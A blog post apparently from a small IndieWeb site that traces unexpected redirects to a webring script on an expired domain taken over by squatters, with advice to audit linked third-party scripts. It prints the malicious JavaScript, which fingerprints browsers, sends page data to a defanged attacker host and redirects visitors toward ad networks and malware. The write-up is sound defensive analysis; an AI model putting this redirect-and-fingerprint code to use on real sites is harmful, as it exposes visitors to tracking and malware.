•
in website, nekoweb, webring, long read, collaboration
•
1292 words
QUICK NOTE: This post was made in collaboration with PatRyk! Go check him out for cybersecurity-related stuff!
People on the IndieWeb can join any webrings they want to, and usually the webring software is built with JavaScript, since most webrings are served on web host services that are limited to static hosting (ex. Neocities or Nekoweb).
If you’ve been in the IndieWeb for long enough, you’ve definitely seen user pages with webrings that they joined. Sometimes, people can join multiple webrings and have a separate page dedicated for webrings and such. But what happens if this is weaponized? What if a webring domain expires, someone else buys it, and the script suddenly changes to something malicious? That’s exactly what happened to a friend of mine.
my first encounter
Some day ago, I went and checked up on my other friend’s site; https://milkyway.moe/, when this happened:

I remember the first time I saw this popup and was left confused. I thought I must have mistyped the URL until it happened again some time later… now I was curious.
I tried refreshing the page again and… it didn’t redirect me again! I tried clearing my cookies, going on Incognito, using a VPN, spoofing user agents, MiTMing myself, even using some random browser sandboxes… …but to no avail. I could never get that to happen again. I was thinking if it was some dodgy extension that I used, since unsafe extensions would trigger similar events like this. But it wasn’t… somehow? I must’ve been seeing things.
Until I saw Milky having the exact same thing (on VC) that I had on my first encounter. He said that he has had this problem for a while (FYI, the codebase of the site is 5 years old) and has asked multiple people to look at what spot in his codebase this could’ve been in. But still no answers, for some reason. so i decided to check further with a friend of mine to get to the bottom of this.
expect the unexpected
We went ahead and checked on the Sources tab in DevTools to see every piece of JavaScript code (and even CSS and PNG files as a last resort) this could’ve happened in. At this point we doubted that this was some server-side thing since that would be pretty rare, so it was a safe place to start looking at.
We scrolled for days and couldn’t find anything weird… then we looked at the Network tab and saw an interesting request:

Even more concerningly, it was clearly sending browser data:

It responded with an empty JSON array, however this was clearly something suspicious. We took a look at the initiator of that request, onionring-variables.js, then saw this mess under macaque[.]moe:

This was supposed to be a webring for autistic webmasters (hence the name Autiring). and judging by the code, this doesn’t look like the onionring-variables.js we see on other webrings…
This is what it should look like:

It’s easy to tell by looking at the sites variable that would be a list of webring members that joined on said webring. But in this case it doesn’t… have that. As a matter of fact it doesn’t have anything in common with the original script.
We probably missed this because it just looked like an ordinary webring folder structure in disguise, so we quickly scrolled past it. But here’s what it does in reality:
- gets info about the browser, later sends it in the
pivariable in the request:
function gpi(callback) {
try {
if (!navigator || !navigator.userAgentData || !navigator.userAgentData.getHighEntropyValues)
return callback(false)
navigator.userAgentData.getHighEntropyValues([
'platform',
'platformVersion',
'fullVersionList',
'model',
'uaFullVersion',
'bitness',
'architecture',
'wow64'
]).then((ua) => {
callback(JSON.stringify(ua))
}).catch((e3) => callback(e3.toString()));
} catch(err) {
callback(false)
}
} - has a bunch of dead code seemingly pointing to a 24 hour limit for redirects, this never runs because
blis commented out later:
function bl(resp) {
!function(dr) {
function t() {
return !!localStorage && localStorage.getItem(a)
}
function e() {
o(), parent.top.window.location.href = c
}
function o() {
const exTime = r + i;
if (localStorage) {
localStorage.setItem(a, exTime)
}
}
function n() {
if (t()) {
const st = localStorage && localStorage.getItem(a);
r > st && e()
} else e()
}
const a = "MenuIdentifier";
const r = Math.floor((new Date).getTime() / 1e3);
const c = dr;
const i = 86400;
n()
}(resp);
} - sends everything in a POST request to the index.php script that we saw earlier. If there’s an
fwvariable in the response JSON, redirect the site to its value:
setTimeout(() => {
minAjax({
url: 'hxxps://macaque[.]moe/index.php',
type: "POST",
data: {
vhref: location.href,
juh: '88b6a4ad67a9934f0fe65afbecea5e1a',
cs: '104c25861e8dbda9263b4f6b711eebb6',
ex: 1769970240601,
v: '007f0af3-f3c1-4d6f-aacf-b9274eb801c8',
pi,
t: Math.floor(new Date().getTime() / 1000),
},
success: function(response) {
try {
const json = JSON.parse(response)
// bl(json.fw)
if (json && json.fw && json.fw.indexOf('http') > -1) parent.top.window.location.href = json.fw
} catch (err) {}
}
});
}, 5000) …this is indeed the malicious code! Most of the time the response was an empty JSON, so it wouldn’t redirect. When it finally did though, the JavaScript file it loaded on the next reload was completely empty… they must have implemented the 24-hour redirect limit on the server side by IP.

Also, the fw variable on a successful redirect was set to hxxps://macaque[.]moe/s/stats . That page is just a redirect to another sketchy domain, hxxps://deeeparts[.]com … and it went haywire from there, redirecting to all sorts of sketchy ad networks until landing on some malware.

We found the root cause! Now the bigger question… how did this even get here?
“how could this happen?”

So, we all obviously know that this is some sketchy code that Milky forgot to remove at some point and left it there for people to see the collection of webrings he joined.
This is scary, especially when many people, including the person that previously made the webring, don’t know that these types of malicious popups can crawl to expired domains which is known as Cybersquatting.
I also looked up the IP address behind the squatted domain - the SSL certificate it serves by default points to the domain 0va0[.]top .

After looking up that domain on host.io, we can see that it’s currently sharing the records with more than 1000 domains! This makes me believe this was some bot and not a targeted attack against a webring.

Even then I am left with so many questions about this…
- why/how/when did the domain hijack happen? was it right after the domain expired or after some time?
- is there a crawler to detect link rots and buy them for malicious use?
- are there any members who got affected by this webring?
I checked on the other sites that joined Autiring via Wayback Archive, and the majority of those people (assuming) have replaced the domain with a new one that the owner of the webring migrated to here > https://webri.ng/webring/autiring/
Still, as an IndieWeb guy, I see this as a concern since most people are casually linking JavaScript scripts on their site that are hosted by other people under domains paid for by other people. I don’t see a lot of people talk about it in this space, hence this post.
verdict?
There’s not really any crazy things to do, but you SHOULD always check your scripts every so often if they work and do what they’re supposed to do. If you’re a webring owner, my recommendation is to leave webrings on your hosting’s subdomain (for example, funnyring.webcities.tld) to increase longevity. That way it won’t be hijacked because the webring is served under your hosting’s subdomain.
Then again, someone that really hates you could still get that subdomain if it ever gets deleted… but that would be deliberate and not an automated bot, if one is at play here.
Otherwise, inform other people to change the old URL to the new one, or just keep paying for the domain. There’s really no good solutions for this other than that longevity hack i said earlier.
Again, check JS scripts that you have linked on your site. I beg.

